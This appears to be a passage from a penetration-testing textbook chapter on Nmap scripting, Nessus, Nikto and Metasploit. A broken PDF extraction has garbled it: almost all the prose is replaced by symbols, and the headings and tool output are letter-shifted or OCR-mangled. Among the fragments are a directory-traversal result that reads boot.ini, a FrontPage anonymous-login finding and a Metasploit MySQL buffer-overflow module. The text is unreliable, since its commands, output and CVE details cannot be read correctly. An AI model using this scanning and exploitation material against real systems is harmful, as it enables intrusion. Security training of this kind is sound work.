¢ȱ ¢ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢ȱ Ǽǰȱ ȱ Ȃȱ
ǰȱȱ ȱȱȱȱȱȱȱ ȱȱȱǯ
ŶȱȱȱȱȱŘǯŘǯŗŚȱ ȱȱȱȱȱŞŖǯ
ŶȱȱȱȱśǯŗǯŚŗȱ¢ȱȱȱȱȱřřŖŜǯ
ŶȱȱȱȱȱŞǯŚȱȱȱȱȱŝŗŝśǯ
Ŷȱȱȱȱ ȱ¡¢ȱǻȱǼȱȱȱȱŞŖŞŖǯ
ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ¢ȱȱȱ¡ȱǯȱȱȱȱȱ
ȱȱȱǰȱȱȱ¢ȱȱǰȱȱȱȱȱ
ȱǻŖȱȱ ȱȱȱǼǯ
ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ǯ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻ Ǽȱ
¢ȱ ȱ ȱ ȱ ǯȱ ŗŘŝǯŖǯŖǯŗȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱȱȱȱȱȱȱȱ ȱȱȱ¢ȱ
ȱ ȱ ǰȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ
ȱ ěȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱǻ¢ȱ ȂȱǼȱȱȱȱȱȱȱ
ǻ¢ȱ ȱ Ǽǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱǯȱ Ȃȱȱȱȱ¢ȱȱȱȱȱ ǰȱȱȂȱȱ
£ȱ ȱ ¢ȱ ¢ȱ ȱ ěȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱǯ
1PDS6FULSWLQJ(QJLQH16(
ȱ ȱ ȱ ¢ȱ ȱȱ ȱ ¡ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ȱ £ȱ ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ
ǻǼȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ Ȭęȱ
¢ȱȱǯȱ ȱ ȱ ȱȱȱĴ¢ȱǰȱȱȂȱȱȱ£ȱ ȱ
ȱ ȱ ȱǯȱ ȱ ȱ ¢ȱ ŚŖŖȱȱ ȱ ǻřşŜȱ ȱ ȱ ¡ȱ ȱ
Ǽǰȱȱ¢ȂȱȱȱęȱȱȱȱȱǷȱȱȱȱȱȱ ȱ
ȱ ȱ ¢ȱ ȱ ȱDZȦȦǯȦȦǯȱ
ȱ ȱ ȱ
ȱȱȱȱ¢ȱȱȱȱ ȱǯ
ȱ ȱ ȱ ȱ ȱ ȱȬȬƽǀȱ ȱ ǁȱ ȱ ȱ ȱ ȱȱ
¢¡ǯȱȱ¡ȱȱȱȬȱȱȱȱȱȱ¢ȱ
ȱȱȱȱȱȱȱȱȱǯ
QPDSV9VFULSW KWWSHQXP
ȱȱȱȱȱȱȱȱȱ ȱȱȱ ȱ ȱ
ȱ ěȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱȱĴǯȱȱȱȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ǯ
,QWHUHVWLQJSRUWVRQ
325767$7(6(59,&(5($621
WFSRSHQKWWSV\QDFN
_KWWSHQXP
__LFRQV,FRQVDQGLPDJHV
__LPDJHV,FRQVDQGLPDJHV
__URERWVW[W5RERWVILOH
__VZDXWKORJLQDVS[&LWUL[:HE7RS
__LPDJHVRXWORRNMSJ2XWORRN:HE$FFHVV
__QIVHUYOHWVVHUYOHW6365RXWHU6HUYOHWQHW)RUHQVLFV
_B_BQIVHUYOHWVVHUYOHW6365RXWHU6HUYOHWQHW)RUHQVLFV
ȱȱ ȱȱȱȱȱ¢ȱȱȱȱȱȱȱȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ŞŖȱ ¢ȱ ȱ
ȬȬȱǯȱ ȱȱ¢ȱ¢ȱȱȱǰȱȃ ȱȱȱ
¢ȱ ȱ ȱ ȱ ¢ǯȄȱ ¢ǰȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ¡
ȱȱ ¢ȱǰȱȱ ȱȱȱȱ¢ȱȱ¡ȱ¢ȱȱ ǯ
ȱ ¡ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǰȱ ȱ ¢ȱ ȱ
¢ȱȱȱȱ ȱǯ
QPDSSVFULSW KWWSIURQWSDJHORJLQ
ȱ ȱ ȱ ȱ ȱȬȬȱ ȱ ȱ ǯȱ ȱ
ęȱ ȱȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ¢¢ǰȱ
¢ȱȱȱȱȱǯ
325767$7(6(59,&(5($621
WFSRSHQKWWSV\QDFN
_KWWSIURQWSDJHORJLQ
_98/1(5$%/(
_)URQWSDJHH[WHQVLRQDQRQ\PRXVORJLQ
_6WDWH98/1(5$%/(
_'HVFULSWLRQ
_ 'HIDXOW LQVWDOODWLRQV RI ROGHU YHUVLRQV RI IURQWSDJH H[WHQVLRQV DOORZ
DQRQ\PRXVORJLQVZKLFKFDQOHDGWRVHUYHUFRPSURPLVH
_
_5HIHUHQFHV
_BȱKWWSLQVHFXUHRUJVSORLWV0LFURVRIWIURQWSDJHLQVHFXULWLHVKWPO
ȱ ȱ ¡ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱȱ¢ȱĴȱȱȱȱȦȦ ȱęȱȱȱ¡ȱ ȱȱ
ǯȱ ęȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ Ĵȱ
ȱȱȱȱ ȱȂȱęȱ¢ȱȱȱȱȱǯȱȱ¢
ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ Ȃȱ
¢ȱȱȱȱȱȱȱȱ¢ȱȱȱ ȱȱ
ȱȱȱǯȱȱȱȱȱ¡ȱȱȱȱȱȱǰ
ȱȱȱȱȱ ȱȱȱǯ
QPDSVFULSWKWWSSDVVZGVFULSWDUJVKWWSSDVVZGURRW
ȱȱȱȱȱȱȱȱȱĜȱȱȱ ȱȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ
¢ȱȱȱǯ
WFSRSHQKWWS
_KWWSSDVVZG'LUHFWRU\WUDYHUVDOIRXQG
_3D\ORDGLQGH[KWPO"ERRWLQL
_3ULQWLQJILUVWE\WHV
_>ERRWORDGHU@
_WLPHRXW
_GHIDXOW PXOWLGLVNUGLVNSDUWLWLRQ?:,1'2:6
_>RSHUDWLQJV\VWHPV@
_BPXOWLGLVNUGLVNSDUWLWLRQ?:,1'2:6 0LFURVRIW :LQGRZV ;3
3URIHVVLRQDOQRH[HFXWH RSWLQIDVWGHWHFW
ȱȱ ęȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱȱȱȱȱȱȱ ȱǯ
9XOQHUDELOLW\6FDQQLQJ
¢ȱȱȱȱȱȱȱ ȱȱȱǯȱ
¢ȱ ȱȱȱȱȱȱ ȱǰȱȱȱȱȱǰȱȱǰȱ
ǰȱ ȱ ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱȱȱȱȱȱȱȱȱȱ¡ȱȱ ȱǯ
¢ȱȱȱȱ¢ȱȱ¢ȱȱȱȱ
ȱȱȱȱ¡ȱȱ££ȱǰȱȱȬǯȱȱȬȱȱ
ȱȂȱȱȱȱ ȱ¢ȱ ȱȱȱȱĴǯȱ ȱȱȱ
ȱ ȱ ȱ ¢ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ
ȱȱǰȱȱȱȱ¡ȱ¡ȱȱȱȱǯ
ȱȱ¢ȱȱȱ ȱȱ ȱȱ¢ȱȱǯȱȱȱ
ȱȱ¡ȱȱ¢ȱǰȱȱȱȱȱȱȱȱ Ȭ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯ
¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱȱȱȱȱ ǯȱ ȱȱȬȱȱ¢ȱ¢ȱȱȱȬȬǰ
ȱ ȱ ȱ ȱ ȱ ŗŖŖƖȱ ǯȱ ȱ ȱ Ȭȱ Ěȱ ȱ ȱ ȱ ȱ ǰ
ȱ ȱ ȱ ȱ ȱ ŗŖŖƖȱ ǯȱ ȱ ȱ Ȭȱ ȱ ȱ ȱ ¢ǰȱ
ȱ ȱȱȱŗŖŖƖȱǯȱȂȱȱ¢ȱȱȱȱ¢ȱ Ƿ
Ȃȱȱȱ¢ȱȱ¢ȱȂȱȱȱȱȱȱ
ǯȱ¢ȱȱȱȂȱ¢ȱȱȱ¢ȱȱȱęȱ¡
Dzȱȱ¢ȱȱȱ¢ȱȱęȱȱȱ
ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰ
ȱȱȱȱȱȱȱȱȱǰȱ¢ȱ ȱȱȱȱ
ȱ ££ǰȱ ǰȱ ȱ ǰȱ ȱ ȱ ǰȱ ȱ
¡ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ
ȱȱȱ¢ȱȱȱ ǯ
1HVVXV
ȱ ȱ ȱ ȱǰȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǰȱ
ȱ ȱ ¢ȱ ȱ ǯȱ
ǰȱ ȱ ȱ ȱ ¢
ȱ ȱ ¢ȱȱȱȱȱȱȱĴȱȱȱ¢ȱȱ¢ȱȱ
ȱȱȱȱȱ ȱȱȬȱȱ ȱȱ¢ȱ ȱ¢ȱȱ
ȱǯȱ ȱȱ¢ȱȱȱȱȱȱ ȱ¡ȱȱȱȱȱȱ
ȱ Ȭȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ǯȱ Ĵȱ ¢ǰȱ ȱ ȱ ¢
ȱȱȱȱ ȱ¢ȱȱȱȱȱȬȱȱȱ
¢Ƿȱȱ¢ȱȱȱȱ
ȱȱȱ ǰȱ¢ȱȬȱ ȱȱ¢
ŝȱ¢ǰȱȱ¢ȱȱ ȱȱ¢ȱěȱȱȱȱ¢Ȭȱ
ȱȱȱȱȱȱȱȱǯ
,QVWDOOLQJ1HVVXV
ȱȱȱȱȱȱ¢ȱ ȱȱȱȂȱȱȱ ȱȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱȱ ȱDZȦȦ ǯǯȱ ȱ ȱ ȱ ȱȱ
¡¢ȱǞŗǰśŖŖȱȱ¢ǰȱȱ¢ȱȱȱȱ
ȱȱȱȱ¢ȱ
ȱǯȱ ȱ¢ȱȱȱȱȱ¢ȱȱȱȱȱ¢ȱȱ
¢ ȱ ȱ ¢ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱǯ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱ řŘȬȱ ȱ ȱ
ȱ śȱ ȱ ȱ ȱ ȱ ȱ ǻȱ ŗŖǯŖŚȱ ȱ ȱ ȱ ȱ ȱ Ǽǯȱ
¢Ȃȱȱȱȱȱ¢ȱǰȱ¢ȱȱȱ ȱȱ
ȱ ¢ǯȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ ęȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱȱȱ ȱǯ
ŗǯȱȱȱȱȱǻǯȱȱȱǼȱȱȱȱ¢
Řǯȱȱȱȱȱȱȱȱȱȱȱǯȱȱȱȱȱ
¢
řǯȱȱȱȱȮȱȬśǯŖǯřȬşŗŖȏřŞŜǯȱȱȱȱ
ȱȱȱȱȱȱȱ¡ȱȱȱȱȱ
ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ěȱ ȱ ȱ ȱ
ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱ ǯȱ ȱ¢Ȃȱȱ ȱȱȱ ȱ¢ȱǰȱ¢ȱ
ȱ ȱDZȱ Ȭȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ¢ȱȱǯȱȱȱȱȱȱȱ
ȱȱȱȱȱȱǯȱ ęȱ ȱ ȱȱȱȱ
ǯ
&RQILJXULQJ1HVVXV
ȱ¢ȱȱȱǰȱ¢ȱȱȱȱȱȱȱȱǯȱȱ
¢ȱ ȱ ȱ ȱ ȱȦȦǯȦȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ǯȱ ȱ ȱ ȱ ȱ ǰȱ
ȱȱȱ ȱȱȱǯ
ŗǯȱȱȱ ǰȱȱȱDZȦȦŗŘŝǯŖǯŖǯŗDZŞŞřŚȦȱȱȱȱȱ
ǯ
Řǯȱȱǰȱȱȱȱȱǯȱȱȱǰȱ ȱ ȱ
ȱȱȱ ȱȱ ȱȱǯ
řǯȱȱȱȱȱȱȱ
ȱȱ¢ȱǯ
Śǯȱȱȱȱȱȱȱȱȱȱǯ
Ŷȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱȱ
ȱǯ
ŶȱȱȱȱȱȱȱȱȱǻŗŘŝǯŖǯŖǯŗǼȱȱȱŞŞřŚDz
ǰȱ¢ȱȱȱDZȱŞŞřŚȱȱȱȱȱǯ
Ŷȱȱ ȱȱȱȬȱȱȱȱ ȱȱśȬ
Ŝȱȱȱȱ¢ȱ ȱǯȱ
ȱȱDzȱȱ
ȱȱȱȱȱǷ
5XQQLQJ1HVVXV
ȱ¢Ȃȱȱȱǰȱȱęȱȱȱȱ¢ȱ ȱȬȱ ȱȱȱ
ȱǯȱȱ ȱȱȱȱȱȱȱȱǰȱ ȱȱȱ
Ȭȱȱ ȱȱĴȱȱ¡ǯȱȱȱȱȱȱȱȱȬȬ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¡ǯȱ ȱȱȱȱȱȱȱȱ¢ȱȱȱȱȱȱǯ
ŗǯȱȱȱȱȱȱȱȱȱǯ
Řǯȱȱ ȱȱȱȱȱ ȱǰȱȱȱȱȱȱȱȱ
ǰȱȱȱ ȱȱȱȱȱ¢ǰȱȱȱŗŘŝǯŖǯŖǯŗȱȱ
ȱȱȱ ȱȱȱŘǯŘǯ
X
O New Scan
EcVlftlKf
l(*iVjn nr D.O 3
r
Ciro**
),*85( 6HWWLQJXS³ORFDOKRVWFKHFN´VFDQLQ1HVVXV
řǯȱȱȱȱȱȱȱȱ ȱȱȱȱȱȱȱȱȱȱ
Ƿ
ȱȱȱȱȱěǰȱȱȱ ȱ ȱȱȱȱȱȱ
ȱȱŘǯřǯ
NeSSUS vuLnera bilfty scanner rs»i Htti Stwan 5*jn CM
1
R4*utf SrS*. RDiWi Ui*f* COftiÿfSton
E Scaji Tltki
tocalhwt erncR
Created By
I'M*
Start Time v
),*85( 6FDQFRQILUPDWLRQLQ1HVVXV
ȱȱȱŗŘŝǯŖǯŖǯŗȱ ȱȱȱȱȱȱȱȱȱ
ȱȱȱ¢ǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢¢
ȱ¢ǯȱ Ȃȱȱȱ ȱȱȱǻǷǼǰȱȱȱȱȱ
ȱȱȱǰȱȱ¢ȱǰȱȱȱȱ
ȱ ǯȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱǰȱȱȱ¢ȱȱȱȱ¢ȱȱȱ¢ǯ
5HYLHZLQJ1HVVXV5HVXOWV
ȱ ȱ ȱ ȱ ȱǰȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ ǰȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ
ȱȱȱ ȱȱȱŘǯŚǯ
9
\f/ localhDst check Q] AwwTre* X Daiew. Ai Ftefcrt*
© cmicji1 Uburtu 10 04 ITS i' E! K f II ID; 13 04 Lts nrefcM regre. UUuiHÿ Lee* Specify Check*
cut Kill Uburtu 10 04 LT5/ I S.&fl 1 11.10/ 13 04 LTS- feeftm tUnc „ U&gflUf LecatSratr ctwefcs
critical LTbur-tu l0 04LTSr 11.04 111 lO Mi 04 LTS- : fcefcci m*w. y]3MniVi! L«#l5«ka% Cheski
rrtIKJl UEHJFAJ 10 04LTS; IS.04 f 11 10/ 12.04 LTS: frefca vijha... IJbMnnr Local See!j*ty Chocks
critical Uburfij 10 04 LTS/ 11.04 i* 11.10/ 12.0* ITS: EWHM-YH*. .. Ubunhii Local SaartCy Ctocki
crttKai Ltauribl 10 0* LTSn! 04 <ÿ 11 10 / 12.04 as ; opeT*ÿ *UL.. Ubuntu Lccai SecLÿfy Check!
critical Ufcurftj 10 0* LTSJ1 11.10 / 1204 LTS/ 1210. frefe. ftflM... Ubuntu Local 5ec JTSK Checks
crttfcal 10 O) LTS/ 1s. 10 t 1204 LT$/ 12 10 . fteta mat* . Ubunb LccaJ Secirty Checki
crilkai Ubw«y 10 04 LTS / 11. 10 / 12 04 LTSr 1210 : fte*» ttgn Ubuntif Local SecdCy Checki
),*85( 5HSRUWVXPPDU\LQ1HVVXV
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ȱ ¢ȱ
ȱȱȱȱǯȱȱȱȱȱ¢ȱȱ
ǰȱǰȱ ǰȱ
ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¢
Ȭȱȱȱȱȱȱȱ ȱȱȱŘǯśǯ
RH k Faclof : C™ Heal
CVSS Base Score: 10.0
cvss Vector Score : CVSS&ttV N/AC LAu:N-C C 'i;C A:C
CVSS Temporal Vector: CV3S2#E POC.'RL OF RC.C
CV5S Temporal Score; ?.B
Vulneratality incoemaUon
CPE:
cp4j'o:cai>onieal.ubufilijJinux.1O.0J>.lu epcft eanofi*eal .ubunBu linu-jc: 1 1 .04 epÿLfo.eanwMesl. ubuntu II/TUK I 1.10
epe ironltal:ytejnlij_iinu>i :12.0J wits
E a pkrift Available: Erne
Euptotla&llliy Eafrc. E*pl«toore avrulaWe
Pate h Publication Date : 20 fi 207.'1 2
EupfotobtaWirtJi:
MetawloiM Java Apples Field Bytfrcade Vender Cache Remote Code execution)
Cor# impact
Reference I nf crmÿUon
eve: CVE-2012-1725 g/orat rzw lanÿijWSrjKjni tt »ji7=y: i j rarjpl u Y& ;rff;B Lÿjÿtjkarrfj
uin: 15&1
P
L.f
i 11
l *
2 S + w>
I El
“
a
&s
r.n ill!
8 1 i 11
ill
s
?
8i
? f
I*
i
f
!
r
ii c*
ft ft ft ft ft
\
i
3
s
n
** 1lP + o
3 ff &
\
£ V*
f
1i 15
I
),*85( 2SHQLQJ1LNWRIURP%DFN7UDFNPHQX
ȱ ȱ ¢ȱ ȱȱ ¢ȱ ¡ȱ ȱȱ ǯȱ Ȭȱ
ȱȱȱȱȱȱȱ¢ȱȱȱȱȱȬȱǯȱ
ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱȬ
ȱȱȱȱęȱȱȱȱǻŗŘŝǯŖǯŖǯŗǼȱȱȱȬȱ ȱȱȱȱ¢
ȱȱ ȱ ȱȱȱǻŗȬśŖŖǼǯ
SHUOQLNWRSOKS±
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ¢ȱ ȱ ŞŖȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱȱȱȱ¢ȱȱȱ ȱȱȱȱȱȱ
ǯȱ ȱǰȱȱ¢
Ȃȱ ¢ȱ ȱ ȱȱ ȱ ǰȱ ȱ ȱ ȱ ¢ȱ ȱ ŞŖȱ ¢ȱ ǯȱ ȱ ¡ǰ
ȱȱ¢ȱȱȱȱȱȱȱȱ ȱǯ
6HUYHU$SDFKH8EXQWX
5HWULHYHG[SRZHUHGE\KHDGHU3+3XEXQWX
5RRWSDJHUHGLUHFWVWRORJLQSKS
URERWVW[WFRQWDLQVHQWU\ZKLFKVKRXOGEHPDQXDOO\YLHZHG
$SDFKH DSSHDUV WR EH RXWGDWHG FXUUHQW LV DW OHDVW $SDFKH
$SDFKHILQDOUHOHDVHDQGDUHDOVRFXUUHQW
(7DJKHDGHUIRXQGRQVHUYHULQRGHVL]HPWLPH[FIED
269'%FRQILJ'LUHFWRU\LQGH[LQJIRXQG
FRQILJ&RQILJXUDWLRQLQIRUPDWLRQPD\EHDYDLODEOHUHPRWHO\
269'%GRF'LUHFWRU\LQGH[LQJIRXQG
269'%GRF7KHGRFGLUHFWRU\LVEURZVDEOH7KLVPD\EHXVUGRF
269'% LQGH[SKS" 3+3%%)$&G$$&%& 3+3
UHYHDOVSRWHQWLDOO\VHQVLWLYHLQIRUPDWLRQYLDFHUWDLQ+773UHTXHVWVWKDWFRQWDLQ
VSHFLILF48(5<VWULQJV
269'% VHUYHUVWDWXV 7KLV UHYHDOV $SDFKH LQIRUPDWLRQ &RPPHQW RXW
DSSURSULDWHOLQHLQKWWSGFRQIRUUHVWULFWDFFHVVWRDOORZHGKRVWV
269'%ORJLQ7KLVPLJKWEHLQWHUHVWLQJ
269'%LFRQV'LUHFWRU\LQGH[LQJIRXQG
269'%GRFV'LUHFWRU\LQGH[LQJIRXQG
269'%&+$1*(/2*W[W$FKDQJHORJZDVIRXQG
269'%LFRQV5($'0($SDFKHGHIDXOWILOHIRXQG
ORJLQSKS$GPLQORJLQSDJHVHFWLRQIRXQG
LWHPVFKHFNHGHUURUVDQGLWHPVUHSRUWHGRQUHPRWHKRVW
(QG7LPHVHFRQGV
ȱ ȱ ȱ Ȭ ¢ȱ ȱȂȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ǻ Ǽȱ ȱ ȱ ȱ ęȱ ȱ ȱ
ǯȱ ȱ ęȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ęȱ ȱȱ
ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ Ȭȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ şŖǰŖŖŖȱ ȱ ȱ ȱ
ŝŖǰŖŖŖȱ ǯȱ ȱ ȱ ¢ȱ ȱ ȱDZȦȦǯȱ ȱ ȱ ȱ ȱ
ȱȱȱȱ¢ȱȱǯ
([SORLWDWLRQ
¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ǰȱ
¢ȱ ȱ ¢ȱ ěȱ ȱ ¢ȱ ȱ £ȱ ȱ ȱ ȱ ¡ȱ
ȱ ¡ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ
ȱȱȱȱȱȱȱǻ ȱȱȱȱ Ǽȱȱ¡
ǯȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ¢ȱ ǰȱ ȱ ¢ȱ ȱ ȱ ǰȱ ȱ ǰ
ȱȱȱȱ¢ȱȱȱȱȱȱȱȱ
ȱǻȱ ȱȱȃȄǼǰȱȱȱȱȱȱȱ
ȱȱȱ¡ȱǯȱ ȱȱȱȱȱȱȱ¢ȱȱ
ȱ ȱ ȱ ¢ǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ Ȃ
ȱȱȱȱȱ¢ȱȱ¢Ȃȱ¢ȱȱ¢ȱȱȱǷ
ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ¡ȱ ȱ ȱ ǯȱȱ ȱ
¡ȱ ȱȱ¢ȱ
ȱȱȱȱ ¢ȱȱȱȱ
Ȭȱ¡ȱȱȱȱ¢ǯȱȱȱ ȱǻȱȱǼ
ȱ ȱ ȱ ¢ȱ ȱ ¡ȱ ¢ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ
ǰȱǰȱ¢ǰȱȱȱ¡ȱ ȱȱǯȱ ȱ¢ȱȱȱ
ȱȱǰȱ¢ȱȱě¢ȱȱȱȱȱȱ¢ȱȱȱȱ
ȱ¢ǯȱȱȱ¢ȱȱȱȱȱȱȱȱǰȱȱȱ
ȱȱȱȱȱȱȱȱȱ ȱȱȱ¡ȱ ǯ
ȱ ȱȱȱȱȱ¡ȱǰȱȱȱȱęȱȱȱ
ȱȱȱ ȱȱȱȱȱ¢ǯ
Ŷȱ¢DZȱȱȱ ȱȱȱȱ¢ǯȱȱ¢ȱȱȱȱǰ
ȱȱȱ ȱ ȱȱǻȱ¢ȱȱȱȱǼǰȱȱ
ǰȱȱȱȱȱȱȱȱȱǻȱȱǼǰȱȱ¢
ȱȱȱȱȱȱȱǯ
Ŷȱ¡DZȱȱȱȱȱȱȱȱ¢ȱȱȱȱ¢ǯ
Ŷȱ¢DZȱȱȱȱȱȱ¡ȱȱȱȱȱȱȱ¡ȱ
ȱȱ¢ǯȱȱȱ¢ȱȱȱȱǻȱ ȱ
ȱȱȱȱȱ¡Ǽǰȱȱȱǻ ȱȱ£ȱȱȱ
ȱȱȱ¢ǰȱ ȱȱȱȱ¢ȱȱȱǼǰȱȱȱ
ȱȱȱǰȱȱȱȱȱȱȱȱ¢ǯ
%DVLFV2I0HWDVSORLW
Ȃȱȱ ȱȱ ȱȱȱȱȱȱȱȱȱ
¡ȱDZ
ŗǯȱDZȱȱ ȱȱȱȱȱ¡ȱȱȂȱȱȱȱȱ
ȱȱȱȱȱǯ
ŘǯȱDZȱȱ ȱȱȱ¡ȱȱȱȱȱȱǯ
řǯȱ ȱ¢DZȱȱ ȱ ȱȱȱ¢ȱȱȱȱ¡ǯ
Śǯȱȱ¢DZȱȱ ȱȱȱȱ¢ȱȱȱȱ¡ǯ
śǯȱ ȱDZȱȱ ȱ ȱȱ¢ȱȱȱȱȱȱȱȱȱ
ȱ¢ǯ
ŜǯȱȱDZȱȱ ȱȱȱȱȱȱȱ¢ȱȱȱȱ
ȱȱȱ¢ȱȱǯ
ŝǯȱ¡DZȱȱ ȱȱȱȱ Ȭȱ¡ȱȱȱȱ¢ǯ
ȱǰȱ ȱȱȱȱȱȱ ǯȱȱȱ¢ȱȱȱȱ
¢ȱ ȱ ȱȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǻ¢ȱ ȱ ęȱ ȱ ¢ȱ ȱ Ǽǰȱ ȱ Ȃȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱ ȱȱȱ ȱȱȱȱȱȱȱȱȱ
ȱȱȱǁȱǯ
ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ¡ȱ
ȱȱȱǯȱȱȱȱ ȱȱȱȱ
ȱ¢ȱȱȱȱȱ¢ȱȱȱȱȱȱȱȱǯ
6HDUFK
ȱȱȱȱȱȱȱ¡ȱȱȱȱȱȱȱęȱ
ȱ ȱ ȱ ¢ȱ ȱ ȱǯȱ ȱ ȱ ȱ ȱ ȱ ŘŖŖşȮŚŚŞŚ
ȱ ȱȬȱ ¢ȱ ȱ ¢ȱ ȱ ȱȱŘŖŖşȮŚŚŞŚȱȱ
ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ¢ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭȱ ěȱ Ě ǯȱ ȱ ¢
ȱȱȱȱ¡ȱ¢ȱȱȱȱȱȱȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱȱ ȱ
ȱȱ¢ȱȱȱǯ
0DWFKLQJ0RGXOHV
1DPH'LVFORVXUH'DWH5DQN'HVFULSWLRQ
H[SORLWOLQX[P\VTOP\VTOB\DVVOBJHWQDPH JRRG 0\64/ \D66/
&HUW'HFRGHU*HW1DPH%XIIHU2YHUIORZ
ȱȱ¡ȱȱȱȱȱȱ ȱ¡ȱȱǯȱȱ¡ȱ ȱȱȱ
ȱ ȱ DZȱ¡ȱ ǻȱ Ǽǰȱǰȱ ǰȱ ǰȱ ǰȱ ǰȱ
